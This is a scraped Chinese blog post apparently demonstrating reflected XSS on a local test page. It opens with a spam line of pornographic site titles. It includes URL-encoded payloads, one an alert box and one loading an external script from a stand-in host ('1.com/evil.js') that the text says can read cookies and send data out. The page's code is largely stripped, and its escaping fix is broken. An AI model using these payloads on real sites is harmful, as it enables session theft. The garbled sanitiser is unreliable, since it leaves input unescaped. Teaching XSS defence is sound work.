国产xxxx99真实实拍_久久不雅视频_高清韩国a级特黄毛片_嗯老师别我我受不了了小说

資訊專欄INFORMATION COLUMN

js跨站腳本

LinkedME2016 / 524人閱讀

摘要：跨站腳本，稱為這個(gè)術(shù)語用來表示一類的安全問題，指攻擊者向目標(biāo)站點(diǎn)注入標(biāo)簽或者腳本。總結(jié)和注入一樣，屬于小白攻擊法，要說簡單也很簡單，要說難也很難拒絕服務(wù)攻擊如果一個(gè)站點(diǎn)無限彈窗，瀏覽器會(huì)卡死。

xss
跨站腳本，稱為xss這個(gè)術(shù)語用來表示一類的安全問題，指攻擊者向目標(biāo)web站點(diǎn)注入html標(biāo)簽或者腳本。

來一個(gè)小栗子 
　substring 返回介于兩者之間的字符串，如果省去最后一個(gè)參數(shù)，則直接以length為填充
window.location.search 返回/后面內(nèi)容包括問號


返回？后面的參數(shù)
window.location.search.substring(1)


decodeURIComponent() 將url進(jìn)行解碼，返回解碼后的utf-8格式





    這是標(biāo)題

訪問

http://abc.com:8887/?%20word
本地使用web server for chrome 完成了本地靜態(tài)服務(wù)器的搭建，使用host文件，強(qiáng)制修改home.abc.com 以及 abc.com 到 127.0.0.1 完成域名的綁定,因?yàn)閖s腳本不能本地運(yùn)行，因?yàn)橛锌缬虻南拗?/pre>

頁面輸出


 hello word 


這是一個(gè)灰常正經(jīng)的頁面。
下面如果嘗試輸入


http://abc.com:8887/?%3Cscript%3Ealert("David")%3C/script


事實(shí)上現(xiàn)在的瀏覽器很智能了。。已經(jīng)自動(dòng)解析了。已經(jīng)自動(dòng)暫停解析了，最后加上%3e被瀏覽器攔截，自動(dòng)的，去掉以后，由于容錯(cuò)機(jī)制，自動(dòng)生成
好吧，要不是這容錯(cuò)機(jī)制，xss還沒法實(shí)驗(yàn)?zāi)?。無奈，現(xiàn)在太智能了，小白的手法，已經(jīng)不行嘍




導(dǎo)致能允許。好吧，去掉自動(dòng)攔截，chrome直接禁止訪問了。╮(╯▽╰)╭
https://developer.mozilla.org...
使用的是預(yù)解析，自動(dòng)平衡樹


此時(shí)script變身成為


document.write("hello " + 


事實(shí)上，現(xiàn)在基本上都會(huì)屏蔽掉的，和sql注入一樣，都是非常小白的攻擊手法。╮(╯▽╰)╭


導(dǎo)致出現(xiàn)彈窗，xss完成
接著下面還有
使用src引入一個(gè)腳本。


http://abc.com:8887/?%3Cscript%20src=%E2%80%9Chttps://1.com/evil.js%E2%80%9D%3E%3C/script%3E


這樣就完成了一次腳本的注入。會(huì)將其他站點(diǎn)的腳本，通過連接進(jìn)行注入。
可以對該站點(diǎn)的內(nèi)容做任何的操作，以及讀取cookie，以及將數(shù)據(jù)發(fā)送回站點(diǎn)


事實(shí)上瀏覽器插件就是這樣干的，在頁面中加入js腳本，通過更改頁面的js來達(dá)到對頁面修改的目的


更多內(nèi)容 https://www.ibm.com/developer...

預(yù)防

通過使用replace()全部替換為實(shí)體即可。


name = name.replace(//g, ">");

總結(jié)

xss和sql注入一樣，屬于小白攻擊法，要說簡單也很簡單，要說難也很難

拒絕服務(wù)攻擊

如果一個(gè)站點(diǎn)無限彈窗，瀏覽器會(huì)卡死。包括使用js挖礦什么的，都不值得一提了。

文章版權(quán)歸作者所有，未經(jīng)允許請勿轉(zhuǎn)載,若此文章存在違規(guī)行為，您可以聯(lián)系管理員刪除。

轉(zhuǎn)載請注明本文地址：http://specialneedsforspecialkids.com/yun/96547.html

相關(guān)文章

  • XSS跨站腳本攻擊

    摘要：三攻擊分類反射型又稱為非持久性跨站點(diǎn)腳本攻擊，它是最常見的類型的。存儲(chǔ)型又稱為持久型跨站點(diǎn)腳本，它一般發(fā)生在攻擊向量一般指攻擊代碼存儲(chǔ)在網(wǎng)站數(shù)據(jù)庫，當(dāng)一個(gè)頁面被用戶打開的時(shí)候執(zhí)行。例如，當(dāng)錯(cuò)誤，就會(huì)執(zhí)行事件利用跨站。 一、簡介 XSS（cross site script）是指惡意攻擊者利用網(wǎng)站沒有對用戶提交數(shù)據(jù)進(jìn)行轉(zhuǎn)義處理或者過濾不足的缺點(diǎn)，進(jìn)而添加一些代碼，嵌入到web頁面中去。使別...

    BingqiChen 評論0 收藏0

  • XSS跨站腳本攻擊

    摘要：三攻擊分類反射型又稱為非持久性跨站點(diǎn)腳本攻擊，它是最常見的類型的。存儲(chǔ)型又稱為持久型跨站點(diǎn)腳本，它一般發(fā)生在攻擊向量一般指攻擊代碼存儲(chǔ)在網(wǎng)站數(shù)據(jù)庫，當(dāng)一個(gè)頁面被用戶打開的時(shí)候執(zhí)行。例如，當(dāng)錯(cuò)誤，就會(huì)執(zhí)行事件利用跨站。 一、簡介 XSS（cross site script）是指惡意攻擊者利用網(wǎng)站沒有對用戶提交數(shù)據(jù)進(jìn)行轉(zhuǎn)義處理或者過濾不足的缺點(diǎn)，進(jìn)而添加一些代碼，嵌入到web頁面中去。使別...

    zsirfs 評論0 收藏0

發(fā)表評論

0條評論

最新活動(dòng)
閱讀需要支付1元查看
<